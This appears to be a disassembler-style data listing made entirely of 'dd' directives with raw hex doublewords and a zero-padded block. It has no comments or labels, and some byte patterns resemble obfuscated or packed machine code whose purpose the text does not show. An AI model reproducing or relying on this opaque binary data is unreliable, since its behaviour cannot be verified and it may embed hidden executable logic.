		dd 57470000h, 83EB0AC3h, 68050C95h, 0E8BBE9B9h,	5, 0B5FAA5A8h
		dd 0FE96Ah, 0E6DE0000h,	814B0A77h, 0A980041Dh, 2318468Bh
		dd 9605E4Fh, 0E815B18Dh, 0F7BF0F05h, 9D8D8961h,	6A05E815h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F346C353h, 0B1D146F2h, 0B1BD8BD5h, 0C705E819h
		dd 0E8070585h, 6F3805h,	918D8900h, 0C705E82Eh, 0E80A6185h
		dd 5, 0E5952900h, 0FF05E830h, 0E830EDB5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0BA3046F3h, 0FEA7FCBAh, 19B503F5h, 6605E820h, 0FF3469BEh
		dd 0E8081595h, 0D3BF6605h, 0FF006AA7h, 0E820F995h, 0EBC08B05h
		dd 0AADE964Ch, 0E7BD443Fh, 0D7FA0F3Eh, 0B1494DCBh, 355203Dh
		dd 0CD8277EEh, 0C873924Bh, 762E260Ah, 7306ED4Bh, 9DEC2EFCh
		dd 0E97F3612h, 11FC6C31h, 4B6757D4h, 79AA48ECh,	1933E23h
		dd 1E6E764Bh, 0D2965205h, 0CF0227F7h, 0C10C1164h, 0AD8D8DC0h
		dd 8905EF5Fh, 0E8159D8Dh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E904DF38h
		dd 0Bh,	0ECA5A2F3h, 4FE57FE2h, 0BA646B53h, 34B87A3Ah, 448CE4BFh
		dd 585C709h, 2005E807h,	6A00005Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1E20C355h
		dd 4D0F8747h, 8B31D9C5h, 0E8092DBDh, 6185C705h,	5E80Ah
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3B42C353h, 47851A47h, 8C0F57F4h
		dd 5, 0DBC08166h, 0EC805F78h, 75B5FF1Eh, 8905E830h, 0E808B1BDh
		dd 1595FF05h, 6A05E808h, 0F995FF00h, 8B05E820h,	7C4AEBC0h
		dd 9F0F8918h, 703273BCh, 12119291h, 0A5DD8EA2h,	68488ADDh
		dd 1EE4BCA2h, 25B07523h, 0C098ABC0h, 0DD2DD2E4h, 430C2B82h
		dd 6B9560ECh, 727575B6h, 0FDA033B9h, 0AC4235C4h, 4C37478Eh
		dd 3B587D56h, 0EFFC4265h, 2D5A2E42h, 11E895h, 0BA200000h
		dd 56DCCF8Ah, 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh,	214DEF81h
		dd 68A0F58h, 8B000000h,	0E829D9BDh, 0B4C08105h,	8B000064h
		dd 0BAFEh, 95890000h, 5E82F99h,	0F101C8Bh, 688h, 4D9D8900h
		dd 8105E80Ch, 53CA8AEBh, 5CEE817Ch, 81176B3Dh, 0D98F18C3h
		dd 5D8D034Ch, 8105E82Eh, 4BD657EBh, 0FD853146h,	5305E80Ch
		dd 5E9h, 6F9EDA00h, 48FDE47h, 3AD98010h, 6880F60h, 8B000000h
		dd 0E824719Dh, 0EA816105h, 2CC50E93h, 28F0Fh, 0FE8B0000h
		dd 0E8FC281h, 0F512CC5h, 681h, 0A59D2900h, 5E05E82Ch, 9C00FA81h
		dd 850FFFFFh, 0FFFFFF80h, 0C08BCE8Bh, 184h dup(0)
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h
		dd 0B7778990h, 0F1932ECDh, 9AB5BE60h, 0D0BE5CAEh, 6106078Dh
		dd 4BBBFC60h, 612CD491h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 8DC35343h, 0AE9F9h, 0A5A50000h, 2A595E95h
		dd 0E59ACE81h, 50006A9Dh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 59F343E1h, 0FE975h, 0DE20000h
		dd 7D3364E1h, 18AA5153h, 0C9F2FC77h, 1800FF9h, 0F8000000h
		dd 6A5DF861h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 419FC357h, 954F37C0h, 8A0FF930h
		dd 0Ah,	5E9h, 1CFE9C00h, 44014FBDh, 66600824h, 0E852DF8Bh
		dd 0Dh,	0B0E8DDA3h, 8CD0FA7Eh, 0E0A71E00h, 615E5849h, 81666058h
		dd 0F1C32F1h, 18Fh, 0E961F800h,	12h, 122A0018h,	0E55827EDh
		dd 84A84972h, 0CC4470DFh, 0C39D7CFFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0B3C35242h,	63238C41h, 0D7E38160h
		dd 612DA829h, 6830F60h,	0F000000h, 88h,	7BB86600h, 0AE96112h
		dd 0B5000000h, 0F94B028Bh, 2D7EED53h, 0C08BF971h, 5870Fh
		dd 0F600000h, 0E961C0B7h, 6, 0AD9D4901h, 850FA900h, 6
		dd 38A9F681h, 0A4B13794h, 0B8B0Fh, 6E90000h, 15000000h
		dd 76EDBBA1h, 8B0F6088h, 0
		dd 0CDE98061h, 0BF0FF18Bh, 12E951F9h, 2D000000h, 6E854B6Eh
		dd 5BA3DB3h, 0F37606F6h, 0D1E29622h, 8B665E55h,	0CBBB66C2h
		dd 6060F55Dh, 6E9h, 0A21A5200h,	0E99BA886h, 0Ah, 0FC8091EEh
		dd 3CB1C6A5h, 0BA614752h, 54AFAA06h, 3892BA61h,	0D68B78FAh
		dd 6734BE66h, 5850Fh, 81660000h, 0F175CD3h, 384h, 0C3BF0F00h
		dd 0EA8186B3h, 2C4321D4h, 0DE960h, 51380000h, 9B0BAB81h
		dd 0FA0D4583h, 573B824Dh, 2939D781h, 615A26B1h,	8C0F52h
		dd 5F000000h, 0DE9h, 0E8C9C300h, 3695CDFCh, 45BA7DD8h
		dd 0C6801FDEh, 0DA8B669Eh, 1319CE81h, 0D08B78E9h, 6652DA8Bh
		dd 0F95FD08Bh, 0E043D081h, 890F1411h, 5, 4E5EBFBEh, 10E900h
		dd 0AB3E0000h, 503F560Eh, 0D4675A68h, 8A8CD25Dh, 8B0F1C01h
		dd 0
		dd 0DE8BF38Bh, 0AE8F8h,	74470000h, 0F815AE16h, 0B13B621h
		dd 0F445BE66h, 0D88B605Fh, 81665161h, 5E52BBD1h, 12E9h
		dd 448E6B00h, 52999F52h, 0AD5EC1C2h, 0BBF7C603h, 8AA6B2EBh
		dd 0E08166E7h, 8D0F5729h, 3, 50C88B66h,	6725D381h, 665B100Fh
		dd 66DFAFBFh, 0F704DA81h, 0EAF281F8h, 0F43D706h, 283h
		dd 8A38B400h, 8158B3C2h, 154296D8h, 73BB6609h, 850F6065h
		dd 0
		dd 0F617BB0h, 286h, 0E956B600h,	11h, 0DE26BAC4h, 0D27E58BAh
		dd 0D374322Fh, 98FA768Fh, 0FBBF0FD9h, 2890Fh, 0DA8B0000h
		dd 0FDE8B66h, 0AE9DFBFh, 0DB000000h, 46F9E4BDh,	5EBC9CEEh
		dd 0A2BF66A2h, 0FE8B6612h, 0E869D180h, 10h, 7A41D9F5h
		dd 2EB3515Ah, 80DFD4D9h, 0A1ED3C3Ah, 0D1D28166h, 10BA5B8Dh
		dd 6039A44Ch, 12E952h, 0FD290000h, 0C092E6D3h, 4FB6B59Eh
		dd 68B72C9Ah, 7AB7D7Bh,	0DE959h, 5A3E0000h, 30B5485Dh
		dd 44808933h, 612B8B5Ch, 0FE9h,	74137900h, 7CE849B2h, 0E90ED482h
		dd 9CAF8572h, 0B351E88Ah, 7E95ED8h, 9D000000h, 3736DA08h
		dd 0BF0F3C75h, 816652DFh, 5AEF75C2h, 5A526060h,	8E0Fh
		dd 61610000h, 41C465BEh, 0D281662Bh, 890F70F7h,	0Ah, 5E9h
		dd 0A01F000h, 56B8A555h, 0B14EF28Dh, 0C281F8F7h, 655D394Ch
		dd 9B4AD181h, 0E6814318h, 784FC6E6h, 0DE9h, 9C5F1E00h
		dd 7349FF7Fh, 9793F4A9h, 6E9E945h, 0D3000000h, 1FA6DF0Ah
		dd 0F18166BCh, 870F098Dh, 0Bh, 58C0Fh, 81660000h, 0E9958BD3h
		dd 0Ch,	9A45EE6h, 44285BC1h, 23522044h,	48B0Fh,	0B6560000h
		dd 0BE665BCDh, 60FCE552h, 879CDA81h, 61F97F40h,	0E9BADF80h
		dd 0Fh,	0E79D8BBEh, 6E09FB5Eh, 8A1FC4EFh, 81CE0FB2h, 0AD9D0DD8h
		dd 7E91Eh, 87B20000h, 0B99E9C70h, 0D38B6697h, 0FEB9B8B1h
		dd 0E96DA2CFh, 14h, 9D562C8Bh, 193F55C4h, 83679FC0h, 7190E631h
		dd 0F436197Dh, 66C6BF0Fh, 0E93443B9h, 9, 0A8358A88h, 2E0A40E0h
		dd 12E952h, 915E0000h, 1B01C310h, 59041403h, 68393860h
		dd 0A7E88A7Dh, 0EA8BEF81h, 816669A3h, 0E9BC3EEFh, 10h
		dd 0F63540F1h, 2A0331F6h, 8F814D93h, 0F77CAB54h, 0BB66B7B3h
		dd 94B3869Eh, 63D5D181h, 0E8F83A85h, 6,	0BFCD4E8Bh, 0B70F1F1Fh
		dd 0E8605AD9h, 9, 941A54A0h, 0E5921D6Fh, 0EC66BF24h, 615B2194h
		dd 66C8B70Fh, 8B8788B9h, 98D281F1h, 805A94C2h, 0B70F7EC9h
		dd 0CFBF0FF0h, 0DE9h, 0CF6DB00h, 0BDA0F35Ch, 113E312Bh
		dd 0B4F9B646h, 3890FB3h, 66000000h, 0B5F9F98Bh,	0BE85385h
		dd 8B000000h, 98D1CF35h, 45E053F6h, 5B527C4Ch, 51575B5Eh
		dd 595F5B50h, 60C38B66h, 8E0F60h, 8B000000h, 8B6161DAh
		dd 0D4F5B9F0h, 0B70F3CACh, 0F28160C9h, 135E9608h, 5E8h
		dd 38F2A500h, 0C181853Bh, 4C50D49h, 0E952615Ah,	9, 8C6CA16Ch
		dd 75CC1A9Ch, 5A575A43h, 0B70FD3B1h, 0CEBF0FF0h, 0DA8BD88Bh
		dd 8A0FF78Ah, 6, 830Fh,	0E9530000h, 12h, 7A183783h, 2E0315FBh
		dd 15CF39A9h, 81DA85EFh, 0E95AF61Eh, 0Dh, 4BC5078Bh, 0D774168Ah
		dd 9BA46055h, 69C3808Ah, 6E8h, 866C1300h, 81266DC2h, 41F1CAD6h
		dd 0D6815956h, 746DB116h, 0D7E98160h, 0E9782A22h, 5, 0DD0F970Dh
		dd 0B70F613Ch, 138D0FCEh, 0E9000000h, 0Eh, 5623512Ah, 9C62E0BAh
		dd 0A20BA410h, 890FD28Dh, 3, 66F1BF0Fh,	0D909CE81h, 39C68166h
		dd 0AE974h, 3AAE0000h, 6216C0DAh, 0BC2FFC02h, 11E9h, 8997E700h
		dd 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 0F08BB409h, 0EE9h
		dd 7F470600h, 9E744FB0h, 788CA801h, 0E94C069Ch,	5, 6CE54A29h
		dd 6660F550h, 0CA8BCA8Bh, 0C0816661h, 8166BC7Ch, 0B7E63DD3h
		dd 14E96Fh, 0A3860000h,	0EA2C7F53h, 0F8EC1B4Ch,	0D81747AEh
		dd 552CE024h, 0E856B377h, 0Fh, 9CE39AF4h, 34FF5483h, 0B2C715D7h
		dd 0F63380Ah, 87h, 66585800h, 73B5F781h, 19840Fh, 10E80000h
		dd 3B000000h, 0F4FC21FEh, 0B34C82C4h, 1577A7BBh, 66581967h
		dd 0F5FCB8Bh, 1C8Dh, 10E800h, 0C5450000h, 0E4D8D781h, 1E78EE2Ah
		dd 0BBC734EFh, 860F139Bh, 0
		dd 0E9FCF55Bh, 0Ch, 0C182235Dh,	6262B61Eh, 6A1B2296h, 0DFDA8166h
		dd 94F681E1h, 0E91574E4h, 10h, 9F820977h, 120C2CC9h, 0BB8E38EFh
		dd 7524CBB0h, 48A0Fh, 0B9660000h, 0FCFC18F5h, 0AFF28056h
		dd 0CE95358h, 83000000h, 0A451E581h, 8FBAF7Ah, 58B26878h
		dd 0FC38B66h, 8Dh, 48E0F00h, 50000000h,	815BCE8Bh, 257B6ACEh
		dd 0F39B173h, 58Fh, 0D6816600h,	8A0FF9E0h, 0Ah,	48E0Fh
		dd 0BE660000h, 8166B7F4h, 0B9D9B7C0h, 56E70352h, 0FC88E180h
		dd 0FD1B70Fh, 38Dh, 0DE8B6600h,	0C860Fh, 7E90000h, 0C9000000h
		dd 340AF39h, 0CE91DABh,	7C000000h, 46046BB3h, 90C39103h
		dd 0E9057974h, 7, 41259342h, 0E8A5C28Eh, 13h, 2E6FCF33h
		dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 0E88A46DDh, 7, 0C7E73C54h
		dd 0FCFC9674h, 0EDBB5B58h, 66021341h, 850FC68Bh, 2, 9E9B1B0h
		dd 3C000000h, 0A0789077h, 50153688h, 5E84F2BAh,	0D1BF0F66h
		dd 252DF081h, 5160602Dh, 1A0956B9h, 0BF665A6Ah,	50614ACAh
		dd 0F7816659h, 81663A88h, 0E9D857D3h, 8, 2BB9BA79h, 5678761Dh
		dd 9D380F8h, 2C850Fh, 13E80000h, 29000000h, 0DB93B838h
		dd 0DC9DDE13h, 641EDDCh, 1406B45Fh, 0DE8CC39h, 50000000h
		dd 0F6DB88ABh, 0A0F35C0Ch, 3E312BBDh, 0BF0F5F58h, 60D08BFFh
		dd 0DE8h, 50D64800h, 0EF9E5AF9h, 293C96B4h, 12E9EE1Eh
		dd 0D5000000h, 0BA7BCFFFh, 20FD2453h, 899A9A15h, 35850079h
		dd 0F505F99h, 6158D6BFh, 82C38166h, 11E917h, 5FE20000h
		dd 74FEC470h, 0C52E477Fh, 0C413C97Ch, 0BE1BBA73h, 45C17EF1h
		dd 8E9h, 2E104600h, 6499B9B8h, 1FB9662Bh, 35C88108h, 8066594Bh
		dd 0B966DDC9h, 29B9F93Eh, 0F7F9624h, 0B89h, 5880F00h, 66000000h
		dd 0FAE8C181h, 29A6D181h, 0B70F5531h, 0FFE8BDBh, 840FD2B7h
		dd 5, 8F3F5FBBh, 0D3B70F4Fh, 0D2E68166h, 0FE8B662Ch, 2810Fh
		dd 0CF8B0000h, 14E9h, 88023600h, 0C014DF08h, 0FA97C200h
		dd 91D5B78Fh, 7B820D5Dh, 0B2D08BAFh, 0BBB6636h,	0D9816633h
		dd 0F569053h, 58Fh, 0F38DBF00h,	805B4611h, 820F64E8h, 2
		dd 0C18BF98Bh, 0F08ABAB1h, 0E9816660h, 0F61062Bh, 8Eh
		dd 14E900h, 0CF150000h,	0D8464BB1h, 703B25EDh, 3C0BCE20h
		dd 0E4F1F7CCh, 0FFBB60FDh, 815E8097h, 0E01F71CFh, 30DB8100h
		dd 0E9062267h, 11h, 536DB199h, 28890B01h, 9EEFDF2h, 10C0843Bh
		dd 0A1B866D8h, 0FC38B1Ch, 0DE8D9B7h, 58000000h,	4A37556Ch
		dd 0BC858123h, 0D0E5C691h, 5ED6EC80h, 0E8DE8AF5h, 0Ah
		dd 8B36C690h, 0E676495h, 52503CDAh, 6658585Fh, 66EB75BAh
		dd 0DB49E981h, 18840Fh,	0DE80000h, 0A6000000h, 6ED36532h
		dd 906BFF51h, 2F5DEBCCh, 47D68166h, 800F5B14h, 3, 0E9CBBF0Fh
		dd 11h,	0BB4ABF12h, 35C04FBCh, 0FD942076h, 6DC74650h, 810F19h
		dd 0F000000h, 0F281F3BFh, 5A12DA6Ah, 3800Fh, 8B660000h
		dd 0BAD38BC2h, 58D4F743h, 219CBE66h, 60F0B70Fh,	66D7CE80h
		dd 0C78FE381h, 9BD7BB61h, 850F197Eh, 1,	0DE960FCh, 0E3000000h
		dd 0B196F32Ah, 0F8267C6Ch, 1F3CAC58h, 0C881FC61h, 685DBB00h
		dd 5E9h, 0F8D29100h, 5E973A4h, 3A000000h, 223CA15Ch, 11E9h
		dd 8E113600h, 7E618912h, 0DC358639h, 1330D574h,	5F50D8DDh
		dd 80AFDE80h, 0EE896EEh, 0F3000000h, 0E784709Fh, 0B1CAF71Fh
		dd 0E433BDF8h, 5B5060E7h, 81665E61h, 0F0D1BD9h,	0DE8F1B7h
		dd 0FD000000h, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh, 890F58F8h
		dd 14h,	9E8h, 0CA58B600h, 727EF89Ch, 62BE8BB4h,	5E162DDBh
		dd 0A9EE8166h, 0E8DC8A24h, 11h,	8E85AB8Bh, 0F69C487Eh
		dd 0A243DA4Fh, 3EFBB595h, 0E9B8663Bh, 45B85F9Ch, 0E97133DAh
		dd 13h,	63F27E78h, 6218CF86h, 0B25D74E4h, 0F42F84F8h, 6675BBC9h
		dd 8B1FFBBBh, 0E4BB50C3h, 5A54558Ch, 198D0Fh, 14E90000h
		dd 35000000h, 0C6C11A4Bh, 44FD2015h, 6CAE8FFBh,	1E8DB653h
		dd 60F356EAh, 68B0Fh, 0D6810000h, 1D83B06h, 0BE57F861h
		dd 63B6E796h, 0B6BB6659h, 0EEEC8022h, 8B0FF78Bh, 5, 0FCF38166h
		dd 0D3B70F11h, 0AE953h,	106C0000h, 0F99904D4h, 0D647B7A1h
		dd 0D88B6658h, 0AA1DBE66h, 9E9h, 62C19E00h, 48C8F1B3h
		dd 12E9D536h, 64000000h, 0AB4C9AEFh, 1FF8F334h,	0DF6CDA9Eh
		dd 353CA2E8h, 816650CAh, 585375E3h, 0DA816653h,	0E95A6468h
		dd 7, 0AC087F8Fh, 0FDE920Ch, 486h, 75B96600h, 0F78B66BCh
		dd 5840F53h, 0BF000000h, 47CEE8D2h, 6E958h, 5AFB0000h
		dd 0C7DB57E8h, 0E4808BB6h, 58D0F01h, 0B8000000h, 1D70CFE0h
		dd 89E08166h, 8860FABh,	51000000h, 8A0Fh, 8A5F0000h, 0D3B70FDAh
		dd 11DF8166h, 0F960F82Ah, 7E95161h, 0E4000000h,	9162904h
		dd 0BE59E973h, 5B7FDB8Ch, 0FE9h, 41372200h, 0D15AFA28h
		dd 8B3CBFDh, 8EB88D80h,	0D1EA8166h, 0E68060F6h,	6103B003h
		dd 0D78B6660h, 0E96129B7h, 0Ah,	0EB7225Ah, 13FCA6EAh, 81664DE9h
		dd 0BAEB07E6h, 5DE4323Ah, 0D9AFBB66h, 10E9F9h, 0F94F0000h
		dd 0A66A274Fh, 479A207Ch, 2D98AEC3h, 56FC745Bh,	28A0Fh
		dd 8DB30000h, 48C28058h, 53B9E980h, 5B616053h, 5E958h
		dd 0EA290000h, 0F264CA7h, 1B88h, 12E800h, 955F0000h, 6ACD3BC0h
		dd 0E3DF2D14h, 8145BF53h, 542B0A57h, 5EB1C380h,	8E9F8h
		dd 0E3DB0000h, 70A39D2Fh, 0C7BFB458h, 8168634Bh, 0BEF9CFDBh
		dd 40EE811Fh, 0F527B304h, 0EE9F5h, 0BA660000h, 2F3AE590h
		dd 38D80B4Ah, 804BAB41h, 237B966h, 0FBBABE66h, 5C0ABB60h
		dd 8B66218Ah, 0D18B61C1h, 5E8h,	994F8B00h, 0E18183A2h
		dd 5200CFFCh, 6663B05Bh, 5038C181h, 10E9B5B6h, 0D000000h
		dd 4F2B03C0h, 7BF30539h, 0CFDEF5DEh, 60CE21E0h,	9214FCBFh
		dd 5095B878h, 8B6133B3h, 0AE8CAh, 54380000h, 0F3864F52h
		dd 9B2C3EB2h, 7702EA81h, 815E698Bh, 0AC91FDF3h,	58B0F17h
		dd 66000000h, 0EFB5F681h, 0C17B31BAh, 0E9D98A6Bh, 0Fh
		dd 67FD1555h, 0D18293B1h, 20FB675h, 0E83A94A7h,	0Fh, 62B17468h
		dd 8325BC3h, 71B69F89h,	801A5BABh, 0F55FDCC8h, 1F870Fh
		dd 0E8600000h, 11h, 69039EA6h, 0CAE63B43h, 0DF06C15Ah
		dd 21DA2582h, 8B0F5A80h, 0
		dd 0CAC88061h, 0FB3BBA66h, 0ED9DBFF9h, 0CF8063D2h, 66D08B7Eh
		dd 0B7B6C681h, 28D9D981h, 0E8515127h, 0Fh, 2522305Eh, 0CAA36F3Ah
		dd 0BDB822F5h, 0F275D73h, 8Ah, 0B75B5B00h, 48F0F69h, 66000000h
		dd 0F95FEAB9h, 0D3BF0FF9h, 0FDBB70Fh, 11E8C2B7h, 0C3000000h
		dd 0EE3548DDh, 0D03FD611h, 6730C95Bh, 2C8DB0Ah,	8EF9E181h
		dd 0F85E6A93h, 0FE8B6660h, 9E9h, 92FC9700h, 7BBD70EEh
		dd 0E8610BB0h, 12h, 0B50D8E52h,	7EB23363h, 4CE6E584h, 93A1FDD7h
		dd 13BF9EB2h, 5B6455E3h, 148A0Fh, 0FE90000h, 0F4000000h
		dd 4D590CAh, 0E8F3A478h, 0F44C5D76h, 0C38BC714h, 95EDD781h
		dd 820F27EFh, 6, 820Fh,	0BA660000h, 0C6805999h,	0F78B6690h
		dd 8E9h, 45BF5300h, 2B0A5781h, 850FF854h, 0Dh, 5E8h, 27C38E00h
		dd 1FB3C9DEh, 0DE95Fh, 0DEEE0000h, 0B45283F2h, 73D81CABh
		dd 0E83BFC8Eh, 10h, 8AD7B348h, 99F704FAh, 500B427Ah, 8FC8DEC4h
		dd 9E9h, 9DD6CF00h, 5241B44h, 665AE330h, 555ED981h, 0CE9h
		dd 8CEB9D00h, 0D5D7F44Dh, 0F66191B1h, 0BB66607Ah, 0BB664177h
		dd 8B61C062h, 0C1BF0FC3h, 68C0Fh, 0D0810000h, 1E5D46B3h
		dd 0EF81F960h, 5CB533B5h, 3800F61h, 57000000h, 81F55EF9h
		dd 7D6C96D0h, 0EE813h, 2CFC0000h, 5DA92AB1h, 83995E55h
		dd 0D275D543h, 6659C88Bh, 8BEB40BEh, 0C5BAF9DEh, 0E94D81CFh
		dd 7, 8423932h,	0E9CE9839h, 0Ch, 0CD6D934Ah, 0BC68A25Ch
		dd 1D3D3CEAh, 8BCFB70Fh, 48A0FD6h, 66000000h, 0F2A82BFh
		dd 8Bh,	890F00h, 66000000h, 0EE9CA8Bh, 0FB000000h, 35D1C242h
		dd 0B6BCB4CDh, 0A8B36B80h, 60D38BDEh, 12E95A56h, 0A0000000h
		dd 8F7C2357h, 76D9B019h, 77480FDCh, 3198A22Ch, 11E961EDh
		dd 0A6000000h, 42630E6Eh, 357FB21Ah, 0C154BD0Bh, 383B2DF8h
		dd 0FCEDC80h, 0DE8C9BFh, 54000000h, 88A170A2h, 0A5BC99E1h
		dd 0D0F02986h, 0FE9h, 0A8614B00h, 1C42C56Ch, 9BB8F0C1h
		dd 52CDB37Eh, 0B8B9B65Fh, 3239AC2Dh, 8E9FE8Bh, 4F000000h
		dd 0BD131041h, 0FC2886Ch, 885h,	2830F00h, 0B6000000h, 98F0FE2h
		dd 0F000000h, 383h, 0CC8000h, 4095C281h, 0BA663DE3h, 0E95765DBh
		dd 14h,	2BF9AA8h, 46250677h, 0D0F4F802h, 0C176F426h, 124A248Ah
		dd 5B6EB95Fh, 0F1814BCCh, 154A2A05h, 0CCE8166h,	0E8DAB5D0h
		dd 13h,	0C1B5BB09h, 0F299FF4Fh,	0F0D2D984h, 6EB4E723h
		dd 810BDDECh, 92AEDEE2h, 18BA591Eh, 81492E52h, 6706B4F2h
		dd 0E8DA8B45h, 0Bh, 0E5A30067h,	5973F92Bh, 581E7FF5h, 0EE9h
		dd 0FC377700h, 27687332h, 0EE5FE02Dh, 6651D61Bh, 3E94D681h
		dd 0CE8B6660h, 61C38B66h, 8F72CB8h, 8E841h, 742D0000h
		dd 0F4377FA4h, 8B6677D1h, 0CA8A5BF9h, 11F5D281h, 0C2B9193Ch
		dd 0E9469A7Fh, 0Bh, 6C15ACAh, 0DA2582DFh, 0FEC8021h, 480h
		dd 9B86600h, 0D681662Ch, 8BF9A4FAh, 8A0F60CBh, 6, 880Fh
		dd 81610000h, 42CB65C9h, 67DB817Eh, 0E97DB187h,	0Dh, 5960002Eh
		dd 0F2B25FD4h, 588218EFh, 0EF07BF76h, 0BF0F12EDh, 0CE8FBh
		dd 47F90000h, 74B843F8h, 300698C1h, 0BF0F92FAh,	10E95ACEh
		dd 26000000h, 0AD020DDDh, 1B6857FFh, 1F0DA8D8h,	0BE883B5Dh
		dd 7F3D1CFBh, 168F0Fh, 11E90000h, 0BF000000h, 16BF8E74h
		dd 7D54C957h, 7AFB315Eh, 0B1ADB47Ch, 0A5BB6651h, 0BFF85AF7h
		dd 3211BA14h, 0F08150F8h, 4ED464A5h, 0E5ED805Ah, 62BE66F8h
		dd 0BE98Dh, 11F60000h, 0DBE6EACEh, 0F5C00FE4h, 0D2BFF5A0h
		dd 0E91F0DE0h, 0Bh, 532E8D46h, 0CA6770D8h, 8A376E81h, 43C980E2h
		dd 0DE81F28Bh, 2A66ADBh, 6C11E981h, 0B866112Fh,	870FCE81h
		dd 16h,	11E9h, 0CA499400h, 53F505D3h, 95878DE9h, 3FFB1438h
		dd 0F60792Fh, 6661FBBFh, 0FFBFD38Bh, 8B234A03h,	5EF853D7h
		dd 0B70FABB4h, 0E681FCF7h, 0EE0C9ECh, 81F38B66h, 45850DEFh
		dd 0B5C3BB12h, 0E9600167h, 13h,	6EF3E258h, 80B7D4B1h, 0F5B4E4A2h
		dd 3A01806Ch, 0B21FDA83h, 8A0F6166h, 3,	0FC78B66h, 0DD8AC8BFh
		dd 0F580CF8Ah, 0DFE88164h, 0F565598h, 38Eh, 0DE8B6600h
		dd 0F86A41B8h, 0BE9F939h, 0A0000000h, 30D11746h, 0F5E18CDFh
		dd 0BE66B617h, 0DA817BAEh, 47F5E1Eh, 13E9h, 8CB45D00h
		dd 6BC2424h, 0CA6F6B6Ch, 0B479E519h, 82E01A88h,	0DDE78166h
		dd 850F6081h, 0
		dd 61F2BF0Fh, 0E85AF851h, 0Ch, 0EDCF012Fh, 0E3CBCD02h
		dd 7388D31Fh, 11E9h, 6C53800h, 67B48E1Bh, 0B4F9129Eh, 410F4B08h
		dd 665BADD0h, 8B0FDA8Bh, 12h, 0DE9h, 0FEC31700h, 0BD3148F9h
		dd 9B2F7172h, 8F0FF457h, 3, 0B8C28B66h,	73E82023h, 93E78166h
		dd 81F78B4Ah, 36B6D4E8h, 0DE919h, 0A84D0000h, 959CFDA8h
		dd 4F1A31CFh, 805B76BEh, 8B662AEEh, 0CE9F9h, 41590000h
		dd 0B74F09FAh, 0FC702715h, 0E3B88A35h, 0B37E3BC8h, 14840FADh
		dd 0E9000000h, 0Fh, 3706E99Ah, 0ED81BBC5h, 8B8A5E14h, 0E972FB69h
		dd 0Fh,	6D5CA6CAh, 903C0F10h, 3451D5F7h, 66157C11h, 0E8D88BB8h
		dd 9, 44DDE7E2h, 83AF72DBh, 57D781B9h, 597DB09Dh, 8E8h
		dd 2871F500h, 8076D58Ah, 81F9602Bh, 0A32CB9F0h,	81586173h
		dd 0BDE36EDAh, 0E86FB642h, 10h,	0FF4B98ECh, 630027A5h
		dd 0E667CCCCh, 0F291507Eh, 0CE9h, 4A27EF00h, 0DAE7D9B3h
		dd 0F581F3EBh, 0E9605BB7h, 7, 0C835AA8Ch, 0FF8FD2Ch, 487h
		dd 0EFBA6600h, 0BF0F619Fh, 0E9C68BC7h, 10h, 243A5846h
		dd 0FF791EFAh, 4A8C983h, 17730F2Dh, 0F5A5360h, 282h, 6120B400h
		dd 10E9F8h, 14030000h, 38605904h, 8A7D6839h, 0FC5AA7E8h
		dd 0DF8133C7h, 5D3BF4E2h, 88F473B8h, 60F18B21h,	0E94CD480h
		dd 9, 0C5E242DBh, 0F3B3A438h, 800F6149h, 0Ah, 4800Fh, 0BB660000h
		dd 0E9504D31h, 10h, 0AA82826Ah,	6FE0DD6Bh, 3AE4A8A9h, 1CF20108h
		dd 0AE95Bh, 8D150000h, 0D7DDE07Bh, 0EA48AC84h, 78C2BB66h
		dd 66FABF0Fh, 810FD08Bh, 12h, 0DE9h, 0E1DC3000h, 4FDFE9A5h
		dd 0CF6CAAADh, 0C68BACAEh, 7E9h, 8AD66200h, 0A8E99B3h
		dd 532AC081h, 5E95490h,	0F9000000h, 4813CDDAh, 0CE9h, 0F07F8700h
		dd 0C9CD08D6h, 8BA21102h, 27D781C1h, 0F834BA57h, 9E960h
		dd 1F410000h, 73B59DA1h, 6145A5D5h, 0CE9F58B9h,	8BF56027h
		dd 890F61FEh, 0Fh, 0AE9h, 0CC6CE100h, 0E8207A87h, 0F9EB251Dh
		dd 18EF4FBFh, 11E872h, 0B7E70000h, 0E3B8A8BDh, 0D30243FAh
		dd 50BB6E1Dh, 0E862C4D4h, 0Fh, 0B8D2514Bh, 4ABDF9CDh, 0F8570F31h
		dd 66AEFCF3h, 669BC081h, 8B665E5Bh, 54E680D0h, 108C0Fh
		dd 0E8600000h, 8, 0D58CF388h, 6552BA98h, 0F52615Ah, 282h
		dd 58595000h, 0DE9h, 1157AE00h,	264592BDh, 0D765FE97h
		dd 0F609EDCh, 285h, 6117B600h, 0D8816652h, 0F5E0B5Dh, 0A9B9F7BFh
		dd 0E911FD54h, 0Dh, 0D66D7201h,	0AEEFF8E3h, 3E54F40Ch
		dd 8E8DEh, 0C9B70000h, 69EA73F4h, 10E8F5E4h, 73000000h
		dd 6F67BB73h, 0D3301596h, 0C884030Bh, 8AD03165h, 665A5BE6h
		dd 0F12B7B9h, 68Ah, 21CB8100h, 0E850D766h, 14h,	866D22E8h
		dd 0A8587421h, 0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 0C830Fh
		dd 6E80000h, 96000000h,	0FBA86607h, 0F595A63h, 88h, 10E800h
		dd 737E0000h, 0B5D6F54h, 912AC925h, 0EA6BC9C4h,	75BE0491h
		dd 5E78867Ah, 98F0Fh, 890F0000h, 3, 0B37EC080h,	0F08166DFh
